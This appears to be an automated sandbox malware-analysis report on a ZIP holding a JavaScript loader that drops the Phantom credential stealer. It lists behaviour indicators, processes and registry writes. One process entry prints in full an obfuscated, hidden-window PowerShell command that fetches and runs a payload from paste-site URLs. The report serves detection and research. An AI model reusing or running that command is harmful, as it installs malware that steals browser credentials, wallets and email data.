File name:

f44496ea680cc44f780654589401186a67fe649e7e527631e9e08537a9aede1c.zip

Full analysis: https://app.any.run/tasks/ef0f68f2-dc39-4d57-abf6-1216f53ac18a
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: April 15, 2026, 03:35:03
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
arch-exec
arch-scr
susp-powershell
stealer
evasion
phantom
payload
loader
reverseloader
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract, compression method=deflate
MD5:

F02013A1782892CF8F0C6DF0F519291B

SHA1:

EED3B6FAB61FE0A13220C657DC4532CA01154FF3

SHA256:

F44496EA680CC44F780654589401186A67FE649E7E527631E9E08537A9AEDE1C

SSDEEP:

192:Q0sQdtFzLREjZoqC+xPppJbUnWx2SsPYwgmXaMqnHgbdN35R6jJj/eFjEm5bQe:34SF+xjJbUI2F41HCPApKjtp

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6200)
      • powershell.exe (PID: 2300)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 7692)

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 1352)

    • May hide the program window using WMI (SCRIPT)

      • wscript.exe (PID: 1352)

    • PHANTOM has been detected (YARA)

      • RegAsm.exe (PID: 1108)

    • Steals credentials from Web Browsers

      • RegAsm.exe (PID: 1108)

    • PHANTOM has been detected

      • RegAsm.exe (PID: 1108)

    • REVERSELOADER has been detected (SURICATA)

      • powershell.exe (PID: 7692)

  • SUSPICIOUS

    • Base64-obfuscated command line is found

      • cmd.exe (PID: 6084)
      • powershell.exe (PID: 6200)
      • cmd.exe (PID: 5608)
      • powershell.exe (PID: 2300)

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 6084)
      • cmd.exe (PID: 5608)
      • cmd.exe (PID: 2532)

    • Probably obfuscated PowerShell command line is found

      • cmd.exe (PID: 6084)
      • powershell.exe (PID: 6200)
      • cmd.exe (PID: 5608)
      • powershell.exe (PID: 2300)

    • Starts process via Powershell

      • powershell.exe (PID: 6200)
      • powershell.exe (PID: 2300)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 6084)
      • powershell.exe (PID: 6200)
      • cmd.exe (PID: 5608)
      • powershell.exe (PID: 2300)

    • Application launched itself

      • powershell.exe (PID: 6200)
      • powershell.exe (PID: 2300)
      • setup.exe (PID: 9424)
      • setup.exe (PID: 9572)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 7692)
      • powershell.exe (PID: 2748)
      • powershell.exe (PID: 5392)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 7692)
      • powershell.exe (PID: 5392)
      • powershell.exe (PID: 2748)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 7692)
      • powershell.exe (PID: 2748)
      • powershell.exe (PID: 5392)

    • Hides errors and continues executing the command without stopping

      • powershell.exe (PID: 6200)
      • powershell.exe (PID: 2300)

    • Executable content was dropped or overwritten

      • csc.exe (PID: 5716)
      • csc.exe (PID: 8244)
      • csc.exe (PID: 8380)

    • The process executes files with name similar to system file names

      • powershell.exe (PID: 7692)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 5716)
      • csc.exe (PID: 8244)
      • csc.exe (PID: 8380)

    • Executing commands from a ".bat" file

      • powershell.exe (PID: 7692)

    • Uses TIMEOUT.EXE to delay execution

      • cmd.exe (PID: 2532)

    • Сharacter substitution obfuscation via .replace()

      • powershell.exe (PID: 2748)

    • Gets full path of the running script (SCRIPT)

      • wscript.exe (PID: 1352)

    • Uses WMI to retrieve WMI-managed resources (SCRIPT)

      • wscript.exe (PID: 1352)

    • Executed via WMI

      • powershell.exe (PID: 2748)

    • Creates an object to access WMI (SCRIPT)

      • wscript.exe (PID: 1352)

    • Browser sandbox disabling

      • chrome.exe (PID: 5800)
      • chrome.exe (PID: 8036)
      • chrome.exe (PID: 6880)
      • chrome.exe (PID: 6064)
      • chrome.exe (PID: 4112)
      • chrome.exe (PID: 5716)
      • chrome.exe (PID: 7788)
      • chrome.exe (PID: 5604)
      • chrome.exe (PID: 2132)
      • chrome.exe (PID: 8276)
      • chrome.exe (PID: 7760)
      • chrome.exe (PID: 8544)
      • chrome.exe (PID: 8680)
      • chrome.exe (PID: 8556)
      • chrome.exe (PID: 8564)
      • chrome.exe (PID: 8672)
      • firefox.exe (PID: 8912)
      • firefox.exe (PID: 8952)
      • msedge.exe (PID: 3424)
      • msedge.exe (PID: 1280)
      • msedge.exe (PID: 7660)
      • msedge.exe (PID: 5160)
      • msedge.exe (PID: 8944)
      • msedge.exe (PID: 5700)
      • msedge.exe (PID: 4284)
      • msedge.exe (PID: 8472)
      • msedge.exe (PID: 4312)
      • msedge.exe (PID: 8196)
      • msedge.exe (PID: 2300)
      • msedge.exe (PID: 7544)
      • msedge.exe (PID: 7468)
      • msedge.exe (PID: 7840)
      • msedge.exe (PID: 9056)
      • msedge.exe (PID: 8236)
      • msedge.exe (PID: 9140)
      • msedge.exe (PID: 8824)
      • msedge.exe (PID: 8744)
      • msedge.exe (PID: 8184)
      • msedge.exe (PID: 8908)
      • msedge.exe (PID: 8208)
      • msedge.exe (PID: 7556)
      • msedge.exe (PID: 5568)
      • msedge.exe (PID: 9440)
      • msedge.exe (PID: 6384)
      • msedge.exe (PID: 4776)
      • msedge.exe (PID: 9652)
      • msedge.exe (PID: 9752)
      • msedge.exe (PID: 9832)
      • msedge.exe (PID: 10112)
      • msedge.exe (PID: 9932)
      • msedge.exe (PID: 9972)
      • msedge.exe (PID: 10212)
      • firefox.exe (PID: 9904)
      • firefox.exe (PID: 9960)

    • Browser launch with unusual user-data-dir

      • RegAsm.exe (PID: 1108)
      • chrome.exe (PID: 5800)
      • msedge.exe (PID: 3424)

    • Multiple wallet extension IDs have been found

      • RegAsm.exe (PID: 1108)

    • Possible stealing of email data

      • RegAsm.exe (PID: 1108)

    • Checks for external IP

      • RegAsm.exe (PID: 1108)
      • svchost.exe (PID: 2232)

    • Connects to SMTP port

      • RegAsm.exe (PID: 1108)

    • Get information on the list of running processes

      • cmd.exe (PID: 2532)

  • INFO

    • Manual execution by a user

      • cmd.exe (PID: 6084)
      • wscript.exe (PID: 1352)
      • cmd.exe (PID: 5608)

    • Generic archive extractor

      • WinRAR.exe (PID: 684)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 7692)
      • powershell.exe (PID: 2748)
      • powershell.exe (PID: 5392)

    • Gets a random number, or selects objects randomly from a collection (POWERSHELL)

      • powershell.exe (PID: 7692)
      • powershell.exe (PID: 5392)
      • powershell.exe (PID: 2748)

    • Converts byte array into Unicode string (POWERSHELL)

      • powershell.exe (PID: 7692)
      • powershell.exe (PID: 2748)
      • powershell.exe (PID: 5392)

    • Checks supported languages

      • cvtres.exe (PID: 7508)
      • csc.exe (PID: 5716)
      • RegAsm.exe (PID: 1108)
      • csc.exe (PID: 8244)
      • cvtres.exe (PID: 8296)
      • csc.exe (PID: 8380)
      • cvtres.exe (PID: 8420)
      • setup.exe (PID: 9424)
      • identity_helper.exe (PID: 9432)
      • setup.exe (PID: 9488)
      • setup.exe (PID: 9572)
      • setup.exe (PID: 9632)

    • Create files in a temporary directory

      • csc.exe (PID: 5716)
      • cvtres.exe (PID: 7508)
      • powershell.exe (PID: 2748)
      • csc.exe (PID: 8244)
      • cvtres.exe (PID: 8296)
      • cvtres.exe (PID: 8420)
      • csc.exe (PID: 8380)
      • RegAsm.exe (PID: 1108)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 7692)

    • Reads the machine GUID from the registry

      • csc.exe (PID: 5716)
      • RegAsm.exe (PID: 1108)
      • csc.exe (PID: 8244)
      • csc.exe (PID: 8380)

    • Found Base64 encoded network access via PowerShell (YARA)

      • wscript.exe (PID: 1352)
      • conhost.exe (PID: 4960)
      • RegAsm.exe (PID: 1108)
      • cmd.exe (PID: 2532)
      • conhost.exe (PID: 7404)
      • timeout.exe (PID: 4932)

    • Found Base64 encoded text manipulation via PowerShell (YARA)

      • wscript.exe (PID: 1352)
      • conhost.exe (PID: 4960)
      • RegAsm.exe (PID: 1108)
      • cmd.exe (PID: 2532)
      • conhost.exe (PID: 7404)
      • timeout.exe (PID: 4932)

    • Found Base64 encoded reflection usage via PowerShell (YARA)

      • wscript.exe (PID: 1352)
      • conhost.exe (PID: 4960)
      • RegAsm.exe (PID: 1108)
      • cmd.exe (PID: 2532)
      • conhost.exe (PID: 7404)
      • timeout.exe (PID: 4932)

    • Found Base64 encoded access to processes via PowerShell (YARA)

      • wscript.exe (PID: 1352)
      • conhost.exe (PID: 4960)
      • RegAsm.exe (PID: 1108)
      • cmd.exe (PID: 2532)
      • conhost.exe (PID: 7404)
      • timeout.exe (PID: 4932)

    • Reads the computer name

      • RegAsm.exe (PID: 1108)
      • setup.exe (PID: 9424)
      • identity_helper.exe (PID: 9432)
      • setup.exe (PID: 9572)

    • Reads security settings of Internet Explorer

      • powershell.exe (PID: 2748)

    • Application launched itself

      • chrome.exe (PID: 5800)
      • chrmstp.exe (PID: 8692)
      • firefox.exe (PID: 8912)
      • firefox.exe (PID: 8952)
      • msedge.exe (PID: 3424)
      • firefox.exe (PID: 9904)
      • firefox.exe (PID: 9960)

    • Reads Environment values

      • identity_helper.exe (PID: 9432)

    • Process checks computer location settings

      • setup.exe (PID: 9572)

    • Reads Microsoft Office registry keys

      • setup.exe (PID: 9424)

    • Reads CPU info

      • RegAsm.exe (PID: 1108)

    • Disables trace logs

      • RegAsm.exe (PID: 1108)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: -
ZipCompression: Deflated
ZipModifyDate: 2026:04:15 03:32:40
ZipCRC: 0xdd54b150
ZipCompressedSize: 5809
ZipUncompressedSize: 37955
ZipFileName: vessels particulars.js
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
253
Monitored processes
117
Malicious processes
10
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe no specs slui.exe cmd.exe no specs conhost.exe no specs powershell.exe no specs wscript.exe no specs #REVERSELOADER powershell.exe conhost.exe no specs csc.exe cvtres.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe no specs #PHANTOM regasm.exe cmd.exe no specs conhost.exe no specs timeout.exe no specs powershell.exe conhost.exe no specs powershell.exe conhost.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs csc.exe chrome.exe no specs cvtres.exe no specs csc.exe cvtres.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrmstp.exe no specs chrmstp.exe no specs chrmstp.exe no specs firefox.exe no specs firefox.exe firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs identity_helper.exe no specs setup.exe no specs identity_helper.exe no specs msedge.exe no specs setup.exe no specs setup.exe no specs setup.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs firefox.exe no specs firefox.exe firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs svchost.exe tasklist.exe no specs find.exe no specs timeout.exe no specs tasklist.exe no specs find.exe no specs timeout.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
684"C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\Desktop\f44496ea680cc44f780654589401186a67fe649e7e527631e9e08537a9aede1c.zipC:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
1108"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Assembly Registration Utility
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regasm.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
1180"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250227124745 -sandboxingKind 0 -prefsHandle 4476 -prefsLen 45299 -prefMapHandle 4480 -prefMapSize 273109 -ipcHandle 3460 -initialChannelId {098de746-88b3-4ca1-9d98-8c5611379750} -parentPid 9960 -crashReporter "\\.\pipe\gecko-crash-server-pipe.9960" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utilityC:\Program Files\Mozilla Firefox\firefox.exe—firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
MEDIUM
Description:
Firefox
Exit code:
0
Version:
136.0
Modules
Images
c:\program files\mozilla firefox\firefox.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\vcruntime140.dll
c:\windows\system32\msvcp140.dll
1280"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\admin\AppData\Local\Temp\wiil52ck.4sn" --always-read-main-dll --field-trial-handle=2268,i,274844022671519174,12021724521527042814,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:3C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Edge
Exit code:
0
Version:
133.0.3065.92
Modules
Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\133.0.3065.92\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1352"C:\Windows\System32\WScript.exe" "C:\Users\admin\Desktop\vessels particulars.js"C:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2132"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\admin\AppData\Local\Temp\5i1turnc.eg4" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=3 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3648,i,2515521028187364450,1308319752318506973,262144 --variations-seed-version --mojo-platform-channel-handle=3696 /prefetch:1C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
0
Version:
133.0.6943.127
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
2232C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2300C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$ddsdfgo = ''DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAQgBvAFkAVwA1ADAAYgAyADEASABZAFgAUgBsAGUAMwBCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBRAFgATgB6AFoAVwAxAGkAYgBIAGsAZwBUAEcAOQBoAFoARQBGAHoAYwAyAFYAdABZAG0AeAA1AEsARwBKADUAZABHAFYAYgBYAFMAQgBtAEsAWAB0AEIAYwAzAE4AbABiAFcASgBzAGUAUwBCAGgAUABXADUAMQBiAEcAdwA3AEkARwBsAG0ASwBHAEUAOQBQAFcANQAxAGIARwB3AHAAZQAzADAAZwBjAG0AVgAwAGQAWABKAHUASQBFAEYAdwBjAEUAUgB2AGIAVwBGAHAAYgBpADUARABkAFgASgB5AFoAVwA1ADAAUgBHADkAdABZAFcAbAB1AEwAawB4AHYAWQBXAFEAbwBaAGkAawA3AGYAWAAwAD0AJwANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKAAkAGwAKQB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAAJABsACAALQBDAG8AdQBuAHQAIAAkAGwALgBDAG8AdQBuAHQAKQB8ACUAewB0AHIAeQB7AHIAZQB0AHUAcgBuACAAJAB3AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAF8AKQB9AGMAYQB0AGMAaAB7AH0AfQB9AA0ACgBmAHUAbgBjAHQAaQBvAG4AIABpACgAJABhACwAJAB0ACwAJABtACwAJABwAD0AQAAoACkAKQB7ACQAeQA9AFsAUABoAGEAbgB0AG8AbQBHAGEAdABlAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAcwA6AC8ALwBoAGEAcwB0AGUAYgAuAGkAbgAvAGkAaQA1AFAAZgBDAHoAOAAzAGEAVABjAEQAZwBLACcAKQAsACgAJwBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAGYAeQAuAGEAcABwAC8ASABEAHAASABZAFYAZwA2AC8AcgBhAHcAJwApACkADQAKAGkAZgAoACgAJABnAD0AZAAgACQAawApAC0AYQBuAGQAKAAkAHQAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABnACkAKQAtAG0AYQB0AGMAaAAnADwAPABTAFQAQQBSAFQAPgA+ACgALgAqAD8AKQA8ADwARQBOAEQAPgA+ACcAKQB7AA0ACgAgACAAJABnAGcAIAA9ACAAJwB0AHgAdAAuAFMAZQBqAG8AZgByAGQAPQBuACYAOQAyAGYAYQB5AHIAYgA4AGYAeAA9AGkAPwBwAGgAcAAuAG4AdwBvAGQALwBtAGYALgBzAGUAbABpAGYALgA0AC0ANQB2AGYALwAvADoAZwBzAGYAZgBzAGYAcwBkACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAAOAApAA0ACgAgACAAIAAgAGkAIAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABNAGEAdABjAGgAZQBzAFsAMQBdACkAKQAgACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACAAJwByAHUAbgBzAHMAJwAgAEAAKAAkAGcAZwAsACAAJwAxACcALAAgACcAUwBDAEEATgBfADAANAAxADUAMgAwADIANgAnACwAIAAnAFIAZQBnAEEAcwBtACcALAAgACcAMQAnACAALAAgACcAeAA4ADYAJwApAA0ACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwB8AHMAbwByAHQAIABDAFAAVQAgAC0AZABlAHMAYwB8AHMAZQBsAGUAYwB0ACAALQBmAGkAcgBzAHQAIAA1AHwAZgB0ACAATgBhAG0AZQAsAEMAUABVACAAfQANAAoADQAKACAAIAAgACAAIAAgACAAIAAgACAA'';$oWfdfjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdfgo, ''f#'', ''r'')));iex $oWfdfjfdsuxd\"'"; Copy-Item -Path 'C:\ProgramData\SCAN_04152026.bat' -Destination 'C:\ProgramData\SCAN_04152026.bat' -Force -ErrorAction SilentlyContinue"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
2300"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\admin\AppData\Local\Temp\wiil52ck.4sn" --always-read-main-dll --field-trial-handle=3636,i,274844022671519174,12021724521527042814,262144 --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:8C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Edge
Exit code:
0
Version:
133.0.3065.92
Modules
Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\133.0.3065.92\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2432C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
Total events
36 154
Read events
36 128
Write events
26
Delete events
0

Modification events

(PID) Process:(684) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(684) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(684) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Downloads\chromium_build 1.zip
(PID) Process:(684) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\f44496ea680cc44f780654589401186a67fe649e7e527631e9e08537a9aede1c.zip
(PID) Process:(684) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(684) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(684) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(684) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(2432) slui.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\3d\52C64B7E
Operation:writeName:@%SystemRoot%\System32\sppcomapi.dll,-3200
Value:
Software Licensing
